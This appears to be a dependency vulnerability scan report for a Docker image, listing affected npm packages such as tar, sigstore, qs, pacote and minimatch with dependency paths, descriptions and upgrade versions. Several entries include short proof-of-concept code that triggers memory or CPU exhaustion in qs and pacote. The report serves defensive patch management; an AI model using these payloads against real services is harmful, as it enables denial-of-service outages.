  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › tar@6.2.1

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as src/extract.ts. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.

Remediation

Upgrade tar to version 7.5.19 or higher.

References

More about this vulnerability

Improper Verification of Cryptographic Signature

high severity
Exploit: Not Defined
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /usr/local/lib/node_modules
  • Package Manager: npm
  • Vulnerable module: sigstore
  • Introduced through: lib@*, npm@10.8.2 and others

Detailed paths

  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1

Overview

sigstore is a code-signing for npm packages

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the certificateOIDs option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.

Remediation

Upgrade sigstore to version 4.1.1 or higher.

References

More about this vulnerability

Allocation of Resources Without Limits or Throttling

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: qs
  • Introduced through: rag-builder@1.0.0, express@4.21.2 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › express@4.21.2 › qs@6.13.0
  • Introduced through: rag-builder@1.0.0 › express@4.21.2 › body-parser@1.20.3 › qs@6.13.0

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via improper enforcement of the arrayLimit option in bracket notation parsing. An attacker can exhaust server memory and cause application unavailability by submitting a large number of bracket notation parameters - like a[]=1&a[]=2 - in a single HTTP request.

PoC


        const qs = require('qs');
        const attack = 'a[]=' + Array(10000).fill('x').join('&a[]=');
        const result = qs.parse(attack, { arrayLimit: 100 });
        console.log(result.a.length);  // Output: 10000 (should be max 100)

Remediation

Upgrade qs to version 6.14.1 or higher.

References

More about this vulnerability

Allocation of Resources Without Limits or Throttling

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: qs
  • Introduced through: rag-builder@1.0.0, express@4.21.2 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › express@4.21.2 › qs@6.13.0
  • Introduced through: rag-builder@1.0.0 › express@4.21.2 › body-parser@1.20.3 › qs@6.13.0

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the parseArrayValue function when the comma option is in use. An attacker can exhaust system memory by submitting a parameter containing a large number of comma-separated values, resulting in the allocation of excessively large arrays.

Note: This is only exploitable if the comma option is explicitly set to true. arrayLimit is properly enforced for index and bracket notation.

PoC

const qs = require('qs');
        
        const payload = 'a=' + ','.repeat(25);  // 26 elements after split (bypasses arrayLimit: 5)
        const options = { comma: true, arrayLimit: 5, throwOnLimitExceeded: true };
        
        try {
          const result = qs.parse(payload, options);
          console.log(result.a.length);  // Outputs: 26 (bypass successful)
        } catch (e) {
          console.log('Limit enforced:', e.message);  // Not thrown
        }

Remediation

Upgrade qs to version 6.14.2 or higher.

References

More about this vulnerability

Uncaught Exception

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: qs
  • Introduced through: rag-builder@1.0.0, express@4.21.2 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › express@4.21.2 › qs@6.13.0
  • Introduced through: rag-builder@1.0.0 › express@4.21.2 › body-parser@1.20.3 › qs@6.13.0

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

Affected versions of this package are vulnerable to Uncaught Exception via stringify when arrayFormat: 'comma' is used with array elements that have a non-callable toString property. Such elements - as produced by JSON.parse, or by qs.parse under allowPrototypes or plainObjects (which yields null-prototype objects) - cause Array.prototype.join or utils.encode to throw a TypeError: Cannot convert object to primitive value, crashing the process.

Note: This is only exploitable if the arrayFormat: 'comma' option is explicitly set.

Remediation

Upgrade qs to version 6.16.1 or higher.

References

More about this vulnerability

Inefficient Algorithmic Complexity

high severity
Exploit: Not Defined
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /usr/local/lib/node_modules
  • Package Manager: npm
  • Vulnerable module: postcss-selector-parser
  • Introduced through: lib@*, npm@10.8.2 and others

Detailed paths

  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/query@3.1.0 › postcss-selector-parser@6.1.0
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/query@3.1.0 › postcss-selector-parser@6.1.0
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/query@3.1.0 › postcss-selector-parser@6.1.0
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/query@3.1.0 › postcss-selector-parser@6.1.0
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/query@3.1.0 › postcss-selector-parser@6.1.0

Overview

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the uniqs helper and index-membership checks in src/parser.js when parsing flat selectors (e.g. .a.a.a...) containing a large number of class or ID tokens. The original implementation uses Array.indexOf inside a filter callback and repeated linear scans of the hasClass/hasId arrays, producing quadratic time complexity proportional to the number of tokens. An attacker who can supply selector input to the parser can trigger CPU exhaustion by providing a long flat selector, pinning a CPU core and causing the process to become unresponsive.

Remediation

Upgrade postcss-selector-parser to version 7.1.6 or higher.

References

More about this vulnerability

Denial of Service (DoS)

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /usr/local/lib/node_modules
  • Package Manager: npm
  • Vulnerable module: pacote
  • Introduced through: lib@*, npm@10.8.2 and others

Detailed paths

  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6

Overview

pacote is a JavaScript package downloader

Affected versions of this package are vulnerable to Denial of Service (DoS) via the addGitSha function. An attacker can exploit this vulnerability by supplying a specially crafted spec.rawSpec value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.

PoC

const addGitSha = require('pacote/lib/util/add-git-sha');
        
        var str = "";
        for (var i = 0; i < 1000000; i++) {
          str += "#";
        }
        str += "\n@";
        
        const spec = {
          rawSpec: str,
          hosted: null,
        };
        
        console.log("start");
        addGitSha(spec, "");
        console.log("end");
        
        // run `npm install pacote` and `node attack.js` 
        // then the program will stuck forever with high CPU usage

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade pacote to version 21.5.1 or higher.

References

More about this vulnerability

Regular Expression Denial of Service (ReDoS)

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: minimatch
  • Introduced through: rag-builder@1.0.0, glob@8.1.0 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › glob@8.1.0 › minimatch@5.1.6
  • Introduced through: lib@* › npm@10.8.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › minimatch@9.0.5
